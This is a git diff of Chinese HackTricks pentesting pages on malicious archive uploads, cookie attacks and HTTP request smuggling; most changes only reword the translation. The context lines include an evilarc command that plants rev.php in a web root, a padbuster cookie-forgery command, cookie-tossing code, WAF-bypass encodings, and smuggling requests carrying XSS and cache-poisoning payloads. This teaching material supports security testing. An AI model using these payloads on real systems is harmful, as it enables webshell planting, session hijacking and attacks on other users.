+在解压过程中意外创建文件的情况是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行，但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够通过操纵目标应用程序的解压功能来绕过限制并逃离安全上传目录。
 
 一个自动化的利用工具可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 找到。该工具的使用方法如下：
 ```python
@@ -228,7 +227,7 @@ python2 evilarc.py -h
 # Creating a malicious archive
 python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
 ```
-此外，**使用 evilarc 的符号链接技巧**是一个选项。如果目标是针对像 `/flag.txt` 这样的文件，则应在您的系统中创建指向该文件的符号链接。这确保了 evilarc 在其操作过程中不会遇到错误。
+此外，**使用 evilarc 的符号链接技巧**是一个选项。如果目标是针对像 `/flag.txt` 这样的文件，则应在您的系统中创建指向该文件的符号链接。这确保了 evilarc 在操作过程中不会遇到错误。
 
 下面是用于创建恶意 zip 文件的 Python 代码示例：
 ```python
@@ -288,7 +287,7 @@ pop graphic-context
 ```
 ## 在PNG中嵌入PHP Shell
 
-在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的`imagecopyresized`和`imagecopyresampled`函数在此上下文中特别相关，因为它们通常用于调整和重新采样图像。嵌入的PHP shell能够不受这些操作影响，这在某些用例中是一个显著的优势。
+在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的`imagecopyresized`和`imagecopyresampled`函数在此上下文中特别相关，因为它们通常用于调整和重采样图像。嵌入的PHP shell能够不受这些操作影响，这对某些用例来说是一个显著的优势。
 
 以下文章提供了对该技术的详细探讨，包括其方法论和潜在应用：["在PNG IDAT块中编码Web Shells"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
 
@@ -296,11 +295,11 @@ pop graphic-context
 
 ## 多语言文件
 
-多语言文件在网络安全中作为一种独特工具，像变色龙一样可以同时有效存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar)，它既可以作为GIF也可以作为RAR档案。这样的文件并不限于这种配对；像GIF和JS或PPT和JS的组合也是可行的。
+多语言文件在网络安全中作为一种独特的工具，像变色龙一样可以同时有效地存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar)，它既可以作为GIF文件，也可以作为RAR归档。这样的文件并不限于这种配对；像GIF和JS或PPT和JS的组合也是可行的。
 
-多语言文件的核心实用性在于它们能够绕过基于类型的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式（例如JS、PHP或Phar文件）带来的风险。然而，多语言文件通过符合多种文件类型的结构标准，可以悄然绕过这些限制。
+多语言文件的核心用途在于它们能够绕过基于类型筛选文件的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式（例如JS、PHP或Phar文件）带来的风险。然而，多语言文件通过符合多种文件类型的结构标准，可以悄然绕过这些限制。
 
-尽管它们具有适应性，但多语言文件确实面临限制。例如，虽然一个多语言文件可能同时包含一个PHAR文件（PHp ARchive）和一个JPEG，但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格，仅仅是多语言文件的结构双重性可能不足以保证其上传。
+尽管它们具有适应性，多语言文件确实面临限制。例如，虽然一个多语言文件可能同时包含一个PHAR文件（PHp ARchive）和一个JPEG，但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格，仅仅是多语言文件的结构双重性可能不足以保证其上传。
 
 更多信息在：[https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 
diff --git a/src/pentesting-web/hacking-with-cookies/README.md b/src/pentesting-web/hacking-with-cookies/README.md
index d170aa167..b482ce380 100644
--- a/src/pentesting-web/hacking-with-cookies/README.md
+++ b/src/pentesting-web/hacking-with-cookies/README.md
@@ -12,7 +12,7 @@ Cookie 的过期日期由 `Expires` 属性决定。相反，`Max-age` 属性定
 
 ### Domain
 
-接收 cookie 的主机由 `Domain` 属性指定。默认情况下，这设置为发出 cookie 的主机，不包括其子域。然而，当 `Domain` 属性被明确设置时，它也包括子域。这使得 `Domain` 属性的指定成为一个不那么严格的选项，适用于需要跨子域共享 cookie 的场景。例如，设置 `Domain=mozilla.org` 使得在其子域如 `developer.mozilla.org` 上可以访问 cookie。
+接收 cookie 的主机由 `Domain` 属性指定。默认情况下，这设置为发出 cookie 的主机，不包括其子域。然而，当 `Domain` 属性被显式设置时，它也包括子域。这使得 `Domain` 属性的指定成为一个不那么严格的选项，适用于需要跨子域共享 cookie 的场景。例如，设置 `Domain=mozilla.org` 使得在其子域如 `developer.mozilla.org` 上可以访问 cookie。
 
 ### Path
 
@@ -48,7 +48,7 @@ Cookie 的过期日期由 `Expires` 属性决定。相反，`Max-age` 属性定
 具有 _**SameSite**_ 属性的 cookie 将 **减轻 CSRF 攻击**，其中需要登录会话。
 
 **\*请注意，从 Chrome80（2019年2月）开始，未设置 cookie samesite 属性的 cookie 的默认行为将为 lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
-请注意，临时情况下，在应用此更改后，Chrome 中 **没有 SameSite** **策略的 cookie 将在 **前 2 分钟内被 **视为 None**，然后在顶级跨站点 POST 请求中被视为 Lax。**
+请注意，临时情况下，在应用此更改后，Chrome 中 **没有 SameSite** **策略的 cookie** 将在 **前 2 分钟内被视为 None**，然后在 **顶级跨站点 POST 请求中被视为 Lax**。
 
 ## Cookies Flags
 
@@ -59,7 +59,7 @@ Cookie 的过期日期由 `Expires` 属性决定。相反，`Max-age` 属性定
 #### **Bypasses**
 
 - 如果页面 **作为请求的响应发送 cookie**（例如在 **PHPinfo** 页面中），可以利用 XSS 发送请求到此页面并 **窃取响应中的 cookie**（请查看 [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) 中的示例）。
-- 这可以通过 **TRACE** **HTTP** 请求绕过，因为服务器的响应将反映发送的 cookie（如果此 HTTP 方法可用）。此技术称为 **Cross-Site Tracking**。
+- 通过 **TRACE** **HTTP** 请求可以绕过，因为服务器的响应将反映发送的 cookie（如果此 HTTP 方法可用）。此技术称为 **Cross-Site Tracking**。
 - 现代浏览器通过不允许从 JS 发送 TRACE 请求来避免此技术。然而，在特定软件中发现了一些绕过方法，例如向 IE6.0 SP2 发送 `\r\nTRACE` 而不是 `TRACE`。
 - 另一种方法是利用浏览器的零日漏洞。
 - 通过执行 Cookie Jar 溢出攻击，可以 **覆盖 HttpOnly cookies**：
@@ -76,12 +76,12 @@ cookie-jar-overflow.md
 
 ## Cookies Prefixes
 
-以 `__Secure-` 开头的 cookie 必须与通过 HTTPS 保护的页面的 `secure` 标志一起设置。
+以 `__Secure-` 开头的 cookie 必须与来自 HTTPS 的页面一起设置 `secure` 标志。
 
 对于以 `__Host-` 开头的 cookie，必须满足几个条件：
 
 - 必须设置 `secure` 标志。
-- 必须来自通过 HTTPS 保护的页面。
+- 必须来自由 HTTPS 保护的页面。
 - 禁止指定域，防止其传输到子域。
 - 这些 cookie 的路径必须设置为 `/`。
 
@@ -113,7 +113,7 @@ cookie-jar-overflow.md
 
 在这种情况下，攻击者诱使受害者使用特定的 cookie 登录。如果应用程序在登录时不分配新 cookie，攻击者持有原始 cookie，可以冒充受害者。此技术依赖于受害者使用攻击者提供的 cookie 登录。
 
-如果您在 **子域中发现了 XSS** 或您 **控制一个子域**，请阅读：
+如果您在 **子域中发现了 XSS** 或 **控制了子域**，请阅读：
 
 {{#ref}}
 cookie-tossing.md
@@ -123,7 +123,7 @@ cookie-tossing.md
 
 在这里，攻击者说服受害者使用攻击者的会话 cookie。受害者相信他们已登录自己的帐户，将无意中在攻击者的帐户上下文中执行操作。
 
-如果您在 **子域中发现了 XSS** 或您 **控制一个子域**，请阅读：
+如果您在 **子域中发现了 XSS** 或 **控制了子域**，请阅读：
 
 {{#ref}}
 cookie-tossing.md
@@ -133,7 +133,7 @@ cookie-tossing.md
 
 点击上面的链接访问解释 JWT 可能存在缺陷的页面。
 
-用于 cookie 的 JSON Web Tokens (JWT) 也可能存在漏洞。有关潜在缺陷及其利用方式的深入信息，建议访问有关黑客 JWT 的链接文档。
+用于 cookie 的 JSON Web Tokens (JWT) 也可能存在漏洞。有关潜在缺陷及其利用方式的深入信息，建议访问与 JWT 黑客相关的文档。
 
 ### Cross-Site Request Forgery (CSRF)
 
@@ -159,7 +159,7 @@ setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
 
 #### Chrome Bug: Unicode Surrogate Codepoint Issue
 
-在 Chrome 中，如果 Unicode 代理代码点是设置的 cookie 的一部分，`document.cookie` 将变得损坏，随后返回一个空字符串：
+在 Chrome 中，如果 Unicode 代理代码点是设置的 cookie 的一部分，`document.cookie` 会变得损坏，随后返回一个空字符串：
 ```js
 document.cookie = "\ud800=meep"
 ```
@@ -187,7 +187,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
 
 #### Bypassing value analysis with quoted-string encoding
 
-这种解析表明要取消转义 cookies 内部的转义值，因此 "\a" 变为 "a"。这对于绕过 WAFS 很有用，因为：
+这种解析指示在 cookies 内部取消转义的值，因此 "\a" 变为 "a"。这对于绕过 WAFS 很有用，因为：
 
 - `eval('test') => forbidden`
 - `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
@@ -198,7 +198,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
 
 #### Bypassing value analysis with cookie splitting
 
-最后，不同的后门会将不同的 cookies 连接成一个字符串，传递在不同的 cookie 头中，如：&#x20;
+最后，不同的后门会将不同的 cookies 通过不同的 cookie 头连接成一个字符串，如：&#x20;
 ```
 GET / HTTP/1.1
 Host: example.com
@@ -220,7 +220,7 @@ Resulting cookie: name=eval('test//, comment') => allowed
 - 登出并尝试使用相同的 cookie。
 - 尝试在 2 个设备（或浏览器）上使用相同的 cookie 登录同一账户。
 - 检查 cookie 中是否有任何信息并尝试修改它。
-- 尝试创建多个几乎相同用户名的账户，并检查是否可以看到相似之处。
+- 尝试创建多个几乎相同用户名的账户并检查是否可以看到相似之处。
 - 检查是否存在 "**记住我**" 选项以查看其工作原理。如果存在并且可能存在漏洞，请始终使用 "**记住我**" 的 cookie，而不使用其他 cookie。
 - 检查即使在更改密码后，之前的 cookie 是否仍然有效。
 
@@ -228,7 +228,7 @@ Resulting cookie: name=eval('test//, comment') => allowed
 
 如果在登录时 cookie 保持不变（或几乎不变），这可能意味着该 cookie 与您账户的某个字段相关（可能是用户名）。然后您可以：
 
-- 尝试创建许多非常 **相似** 的 **账户**，并尝试 **猜测** 算法的工作原理。
+- 尝试创建许多非常 **相似** 的用户名的 **账户** 并尝试 **猜测** 算法的工作原理。
 - 尝试 **暴力破解用户名**。如果 cookie 仅作为您用户名的身份验证方法保存，那么您可以创建一个用户名为 "**Bmin**" 的账户，并 **暴力破解** 您的 cookie 的每一个 **位**，因为您尝试的其中一个 cookie 将是属于 "**admin**" 的。
 - 尝试 **填充** **Oracle**（您可以解密 cookie 的内容）。使用 **padbuster**。
 
@@ -250,17 +250,17 @@ Padbuster 将进行多次尝试，并会询问您哪个条件是错误条件（
 ```
 padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
 ```
-此执行将正确加密和编码 cookie，内部包含字符串 **user=administrator**。
+此执行将为您提供正确加密和编码的 cookie，其中包含字符串 **user=administrator**。
 
 **CBC-MAC**
 
-也许一个 cookie 可以有一些值，并且可以使用 CBC 签名。然后，值的完整性是使用相同值的 CBC 创建的签名。由于建议使用空向量作为 IV，这种完整性检查可能会受到攻击。
+也许一个 cookie 可以有一些值，并可以使用 CBC 签名。然后，值的完整性是使用相同值的 CBC 创建的签名。由于建议使用空向量作为 IV，这种完整性检查可能会受到攻击。
 
 **攻击**
 
 1. 获取用户名 **administ** 的签名 = **t**
 2. 获取用户名 **rator\x00\x00\x00 XOR t** 的签名 = **t'**
-3. 在 cookie 中设置值 **administrator+t'** (**t'** 将是 **(rator\x00\x00\x00 XOR t) XOR t** 的有效签名 = **rator\x00\x00\x00**)
+3. 在 cookie 中设置值 **administrator+t'** （**t'** 将是 **(rator\x00\x00\x00 XOR t) XOR t** 的有效签名 = **rator\x00\x00\x00**）
 
 **ECB**
 
@@ -273,7 +273,7 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
 
 创建一个名为 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 的用户，并检查 cookie 中是否有任何模式（由于 ECB 使用相同的密钥加密每个块，如果用户名被加密，则相同的加密字节可能会出现）。
 
-应该有一个模式（与使用的块的大小相同）。因此，知道一堆 "a" 是如何加密的，您可以创建一个用户名："a"\*(块的大小)+"admin"。然后，您可以从 cookie 中删除一个块的 "a" 的加密模式。您将拥有用户名 "admin" 的 cookie。
+应该有一个模式（与使用的块的大小相同）。因此，知道一堆 "a" 是如何加密的，您可以创建一个用户名： "a"\*(块的大小)+"admin"。然后，您可以从 cookie 中删除一个块的 "a" 的加密模式。您将拥有用户名 "admin" 的 cookie。
 
 ## 参考
 
diff --git a/src/pentesting-web/hacking-with-cookies/cookie-bomb.md b/src/pentesting-web/hacking-with-cookies/cookie-bomb.md
index 77629aa9c..33cd9c795 100644
--- a/src/pentesting-web/hacking-with-cookies/cookie-bomb.md
+++ b/src/pentesting-web/hacking-with-cookies/cookie-bomb.md
@@ -1,6 +1,6 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-**`Cookie bomb`** 涉及 **向一个域及其子域添加大量大型 cookies，目标是用户**。此操作导致受害者 **向服务器发送超大 HTTP 请求**，这些请求随后被 **服务器拒绝**。其结果是在该域及其子域内针对用户引发拒绝服务 (DoS)。
+**`Cookie bomb`** 涉及 **向一个域及其子域添加大量大 cookies，目标是用户**。此操作导致受害者 **向服务器发送超大 HTTP 请求**，这些请求随后被 **服务器拒绝**。其结果是在该域及其子域内针对用户引发拒绝服务 (DoS)。
 
 一个很好的 **例子** 可以在这篇文章中看到: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
 
diff --git a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md
index 049c50de0..5b6caffaf 100644
--- a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md
+++ b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md
@@ -6,14 +6,14 @@
 
 如果攻击者能够**控制一个子域或公司的域名，或者在子域中发现XSS**，他将能够执行此攻击。
 
-正如在Cookies Hacking部分所指出的，当**cookie被设置到一个域（指定它）时，它将在该域及其子域中使用。**
+正如在Cookies Hacking部分所指出的，当**cookie被设置到一个域（指定它）时，它将在该域及子域中使用。**
 
 > [!CAUTION]
 > 因此，**攻击者将能够设置一个特定的cookie到域和子域，执行类似于** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
 
 这可能是危险的，因为攻击者可能能够：
 
-- **将受害者的cookie固定到攻击者的账户**，因此如果用户没有注意到，**他将在攻击者的账户中执行操作**，攻击者可能获得一些有趣的信息（查看用户在平台上的搜索历史，受害者可能在账户中设置他的信用卡...）
+- **将受害者的cookie固定到攻击者的账户**，因此如果用户没有注意到，**他将在攻击者的账户中执行操作**，攻击者可能获得一些有趣的信息（检查用户在平台上的搜索历史，受害者可能在账户中设置他的信用卡...）
 - 如果**cookie在登录后没有改变**，攻击者可能只需**固定一个cookie（会话固定）**，等待受害者登录，然后**使用该cookie以受害者身份登录**。
 - 有时，即使会话cookie发生变化，攻击者也会使用之前的cookie，并且他也会收到新的cookie。
 - 如果**cookie设置了一些初始值**（例如在flask中，**cookie**可能**设置**会话的**CSRF令牌**，并且该值将在受害者登录后保持），**攻击者可能设置这个已知值然后加以利用**（在这种情况下，攻击者可能会让用户执行CSRF请求，因为他知道CSRF令牌）。
diff --git a/src/pentesting-web/http-connection-request-smuggling.md b/src/pentesting-web/http-connection-request-smuggling.md
index 6e64d6b78..45e41183a 100644
--- a/src/pentesting-web/http-connection-request-smuggling.md
+++ b/src/pentesting-web/http-connection-request-smuggling.md
@@ -18,7 +18,7 @@ Host: [internal-host]
 ```
 ### First-request Routing
 
-在某些配置中，前端服务器可能会使用 **第一个请求的 Host 头** 来确定该请求的后端路由，然后将来自同一客户端连接的所有后续请求持续路由到同一后端连接。这可以表示为：
+在某些配置中，前端服务器可能会使用**第一个请求的Host头**来确定该请求的后端路由，然后将来自同一客户端连接的所有后续请求持久性地路由到相同的后端连接。这可以表示为：
 ```
 GET / HTTP/1.1
 Host: example.com
diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md
index 8f8de31de..ba91d52d8 100644
--- a/src/pentesting-web/http-request-smuggling/README.md
+++ b/src/pentesting-web/http-request-smuggling/README.md
@@ -15,7 +15,7 @@
 
 **Content-Length**
 
-> Content-Length 实体头指示发送给接收方的实体主体的字节大小。
+> Content-Length 实体头指示发送给接收方的实体主体的大小（以字节为单位）。
 
 **Transfer-Encoding: chunked**
 
@@ -25,11 +25,11 @@
 ### 现实
 
 **前端**（负载均衡/反向代理）**处理** _**content-length**_ 或 _**transfer-encoding**_ 头，而**后端**服务器**处理另一个**，导致两个系统之间发生**不同步**。\
-这可能非常关键，因为**攻击者将能够向反向代理发送一个请求**，该请求将被**后端**服务器**视为两个不同的请求**。这种技术的**危险**在于**后端**服务器**将解释**注入的**第二个请求**，仿佛它**来自下一个客户端**，而该客户端的**真实请求**将是**注入请求**的一部分。
+这可能非常关键，因为**攻击者将能够向反向代理发送一个请求**，该请求将被**后端**服务器**视为两个不同的请求**。这种技术的**危险**在于**后端**服务器**将解释**注入的**第二个请求**，就好像它**来自下一个客户端**，而该客户端的**真实请求**将是**注入请求**的一部分。
 
 ### 特点
 
-请记住，在HTTP中**一个新行字符由2个字节组成：**
+请记住，在HTTP中**新行字符由2个字节组成：**
 
 - **Content-Length**：此头使用**十进制数字**指示请求**主体**的**字节数**。主体预计在最后一个字符结束，**请求末尾不需要新行**。
 - **Transfer-Encoding:** 此头在**主体**中使用**十六进制数字**指示**下一个块**的**字节数**。**块**必须以**新行**结束，但此新行**不计入**长度指示符。此传输方法必须以**大小为0的块后跟2个新行**结束：`0`
@@ -107,9 +107,9 @@ x=
 - **服务器：** 两者都支持`Transfer-Encoding`，但可以通过模糊处理使其中一个忽略它。
 - **攻击场景：**
 
-- 攻击者发送一个带有模糊处理`Transfer-Encoding`头的请求。
+- 攻击者发送一个带有模糊`Transfer-Encoding`头的请求。
 - 根据哪个服务器（前端或后端）未能识别模糊处理，可能会利用CL.TE或TE.CL漏洞。
-- 请求中未处理的部分，作为其中一个服务器所见，成为后续请求的一部分，导致走私。
+- 请求中未处理的部分在其中一个服务器看来成为后续请求的一部分，导致走私。
 - **示例：**
 
 ```
@@ -146,7 +146,7 @@ Normal Request
 
 #### **CL.0 场景**
 
-- 指的是`Content-Length`头存在且值不为零，表明请求主体有内容。后端忽略`Content-Length`头（被视为0），但前端解析它。
+- 指的是`Content-Length`头存在且值不为零，表示请求主体有内容。后端忽略`Content-Length`头（被视为0），但前端解析它。
 - 这在理解和构造走私攻击中至关重要，因为它影响服务器确定请求结束的方式。
 - **示例：**
 
@@ -162,7 +162,7 @@ Non-Empty Body
 #### TE.0 场景
 
 - 类似于前一个场景，但使用TE。
-- 技术[在此报告](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)。
+- 技术[在这里报告](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
 - **示例**:
 ```
 OPTIONS / HTTP/1.1
@@ -201,7 +201,7 @@ Connection: Content-Length
 
 ## 查找 HTTP 请求走私
 
-识别 HTTP 请求走私漏洞通常可以通过时间技术实现，这依赖于观察服务器响应被操纵请求所需的时间。这些技术对于检测 CL.TE 和 TE.CL 漏洞特别有用。除了这些方法，还有其他策略和工具可以用来查找此类漏洞：
+识别 HTTP 请求走私漏洞通常可以通过时间技术实现，这依赖于观察服务器响应被操纵请求所需的时间。这些技术对于检测 CL.TE 和 TE.CL 漏洞特别有用。除了这些方法，还有其他策略和工具可以用来发现此类漏洞：
 
 ### 使用时间技术查找 CL.TE 漏洞
 
@@ -261,21 +261,21 @@ X
 - **Content-Length 变异测试：**
 - 发送具有不同 `Content-Length` 值的请求，这些值与实际内容长度不一致，并观察服务器如何处理此类不匹配。
 - **Transfer-Encoding 变异测试：**
-- 发送带有模糊或格式错误的 `Transfer-Encoding` 头的请求，并监控前端和后端服务器对这种操控的不同响应。
+- 发送具有模糊或格式错误的 `Transfer-Encoding` 头的请求，并监控前端和后端服务器对这种操控的不同响应。
 
 ### HTTP 请求走私漏洞测试
 
-在确认时间技术的有效性后，验证客户端请求是否可以被操纵至关重要。一个简单的方法是尝试毒化你的请求，例如，使对 `/` 的请求返回 404 响应。之前在 [基本示例](./#basic-examples) 中讨论的 `CL.TE` 和 `TE.CL` 示例演示了如何毒化客户端请求以引发 404 响应，尽管客户端旨在访问不同的资源。
+在确认时间技术的有效性后，验证客户端请求是否可以被操纵至关重要。一种简单的方法是尝试毒化您的请求，例如，使对 `/` 的请求返回 404 响应。之前在 [基本示例](./#basic-examples) 中讨论的 `CL.TE` 和 `TE.CL` 示例演示了如何毒化客户端请求以引发 404 响应，尽管客户端旨在访问不同的资源。
 
 **关键考虑事项**
 
 在通过干扰其他请求测试请求走私漏洞时，请记住：
 
-- **独立网络连接：** “攻击”和“正常”请求应通过独立的网络连接发送。对两者使用相同连接并不能验证漏洞的存在。
+- **独立网络连接：** “攻击”和“正常”请求应通过独立的网络连接发送。对两者使用相同的连接并不能验证漏洞的存在。
 - **一致的 URL 和参数：** 力求对两个请求使用相同的 URL 和参数名称。现代应用程序通常根据 URL 和参数将请求路由到特定的后端服务器。匹配这些可以增加两个请求由同一服务器处理的可能性，这是成功攻击的前提。
 - **时间和竞争条件：** “正常”请求旨在检测“攻击”请求的干扰，与其他并发应用请求竞争。因此，在“攻击”请求后立即发送“正常”请求。繁忙的应用程序可能需要多次尝试以确认漏洞。
 - **负载均衡挑战：** 作为负载均衡器的前端服务器可能会将请求分配到不同的后端系统。如果“攻击”和“正常”请求最终落在不同的系统上，攻击将不会成功。这个负载均衡方面可能需要多次尝试以确认漏洞。
-- **意外用户影响：** 如果你的攻击无意中影响了另一个用户的请求（不是你发送的“正常”请求），这表明你的攻击影响了另一个应用用户。持续测试可能会干扰其他用户，因此需要谨慎处理。
+- **意外用户影响：** 如果您的攻击无意中影响了另一个用户的请求（不是您发送的“正常”请求以进行检测），这表明您的攻击影响了另一个应用用户。持续测试可能会干扰其他用户，因此需要谨慎处理。
 
 ## 滥用 HTTP 请求走私
 
@@ -324,7 +324,7 @@ a=x
 
 ### 揭示前端请求重写 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
 
-应用程序通常使用**前端服务器**来修改传入请求，然后将其传递给后端服务器。典型的修改涉及添加头部，例如`X-Forwarded-For: <IP of the client>`，以将客户端的IP转发给后端。理解这些修改可能至关重要，因为它可能揭示**绕过保护**或**发现隐藏的信息或端点**的方法。
+应用程序通常使用**前端服务器**来修改传入请求，然后将其传递给后端服务器。典型的修改涉及添加头信息，例如`X-Forwarded-For: <IP of the client>`，以将客户端的IP转发给后端。理解这些修改可能至关重要，因为它可能揭示**绕过保护**或**发现隐藏的信息或端点**的方法。
 
 要调查代理如何更改请求，找到一个后端在响应中回显的POST参数。然后，构造一个请求，使用这个参数作为最后一个，类似于以下内容：
 ```
@@ -375,20 +375,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
 
 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-在这种情况下，**comment 参数**旨在存储在公开可访问页面的帖子评论部分中的内容。因此，后续请求的内容将作为评论出现。
+在这种情况下，**comment 参数**旨在存储公开可访问页面上帖子评论部分的内容。因此，后续请求的内容将作为评论出现。
 
-然而，这种技术有其局限性。通常，它仅捕获直到在走私请求中使用的参数分隔符的数据。对于 URL 编码的表单提交，这个分隔符是 `&` 字符。这意味着从受害者用户的请求中捕获的内容将在第一个 `&` 处停止，这可能甚至是查询字符串的一部分。
+然而，这种技术有其局限性。通常，它仅捕获直到在走私请求中使用的参数分隔符的数据。对于 URL 编码的表单提交，这个分隔符是 `&` 字符。这意味着从受害者用户请求中捕获的内容将在第一个 `&` 处停止，这可能甚至是查询字符串的一部分。
 
 此外，值得注意的是，这种方法在 TE.CL 漏洞中也是可行的。在这种情况下，请求应以 `search=\r\n0` 结束。无论换行符如何，值将附加到搜索参数。
 
 ### 使用 HTTP 请求走私来利用反射型 XSS
 
-HTTP 请求走私可以被用来利用易受 **反射型 XSS** 攻击的网页，提供显著的优势：
+HTTP 请求走私可以被利用来攻击易受 **反射型 XSS** 的网页，提供显著的优势：
 
 - **不需要**与目标用户互动。
-- 允许在请求的 **通常无法达到** 的部分利用 XSS，例如 HTTP 请求头。
+- 允许在 **通常无法达到** 的请求部分中利用 XSS，例如 HTTP 请求头。
 
-在网站通过 User-Agent 头易受反射型 XSS 攻击的情况下，以下有效载荷演示了如何利用此漏洞：
+在网站通过 User-Agent 头部易受反射型 XSS 攻击的情况下，以下有效载荷演示了如何利用此漏洞：
 ```
 POST / HTTP/1.1
 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@@ -409,7 +409,7 @@ Content-Type: application/x-www-form-urlencoded
 
 A=
 ```
-这个有效载荷的结构旨在利用漏洞，通过以下方式：
+此有效载荷的结构旨在利用漏洞，通过以下方式：
 
 1. 发起一个看似典型的 `POST` 请求，带有 `Transfer-Encoding: chunked` 头部以指示走私的开始。
 2. 随后跟随一个 `0`，标记块消息体的结束。
@@ -422,7 +422,7 @@ A=
 > [!CAUTION]
 > 如果用户内容在响应中以 **`Content-type`** 反射，例如 **`text/plain`**，将阻止 XSS 的执行。如果服务器支持 **HTTP/0.9，可能可以绕过这一点**！
 
-版本 HTTP/0.9 早于 1.0，仅使用 **GET** 动词，并且 **不** 响应 **头部**，只有主体。
+HTTP/0.9 版本早于 1.0，仅使用 **GET** 动词，并且 **不** 响应 **头部**，只有主体。
 
 在 [**这篇文章**](https://mizu.re/post/twisty-python) 中，利用了请求走私和一个 **会回复用户输入的易受攻击端点** 来走私一个 HTTP/0.9 请求。响应中反射的参数包含一个 **伪造的 HTTP/1.1 响应（带有头部和主体）**，因此响应将包含有效的可执行 JS 代码，`Content-Type` 为 `text/html`。
 
@@ -470,7 +470,7 @@ Location: https://attacker-website.com/home/
 
 如果 **前端基础设施的任何组件缓存内容**，通常是为了提高性能，则可以执行 Web 缓存中毒。通过操纵服务器的响应，可以 **毒化缓存**。
 
-之前，我们观察到如何改变服务器响应以返回 404 错误（参见 [Basic Examples](./#basic-examples)）。同样，可以欺骗服务器在请求 `/static/include.js` 时返回 `/index.html` 内容。因此，`/static/include.js` 的内容在缓存中被替换为 `/index.html` 的内容，使得 `/static/include.js` 对用户不可访问，可能导致服务拒绝（DoS）。
+之前，我们观察到如何改变服务器响应以返回 404 错误（参见 [Basic Examples](./#basic-examples)）。同样，可以欺骗服务器在请求 `/static/include.js` 时返回 `/index.html` 的内容。因此，`/static/include.js` 的内容在缓存中被替换为 `/index.html` 的内容，使得 `/static/include.js` 对用户不可访问，可能导致服务拒绝（DoS）。
 
 如果发现 **开放重定向漏洞** 或者存在 **指向开放重定向的站内重定向**，这种技术变得特别强大。这些漏洞可以被利用来将 `/static/include.js` 的缓存内容替换为攻击者控制的脚本，从而实质上使所有请求更新的 `/static/include.js` 的客户端面临广泛的跨站脚本（XSS）攻击。
 
@@ -498,7 +498,7 @@ x=1
 
 随后，任何对 `/static/include.js` 的请求将提供攻击者脚本的缓存内容，有效地发起广泛的 XSS 攻击。
 
-### 使用 HTTP request smuggling 执行 web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
+### 使用 HTTP request smuggling 进行 web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
 
 > **web cache poisoning 和 web cache deception 之间有什么区别？**
 >
@@ -516,7 +516,7 @@ x=1
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-如果这个走私请求污染了用于静态内容的缓存条目（例如，`/someimage.png`），受害者在`/private/messages`中的敏感数据可能会被缓存到静态内容的缓存条目下。因此，攻击者可能会检索到这些缓存的敏感数据。
+如果这个被走私的请求污染了用于静态内容的缓存条目（例如，`/someimage.png`），那么受害者在`/private/messages`中的敏感数据可能会被缓存到静态内容的缓存条目下。因此，攻击者可能会检索到这些缓存的敏感数据。
 
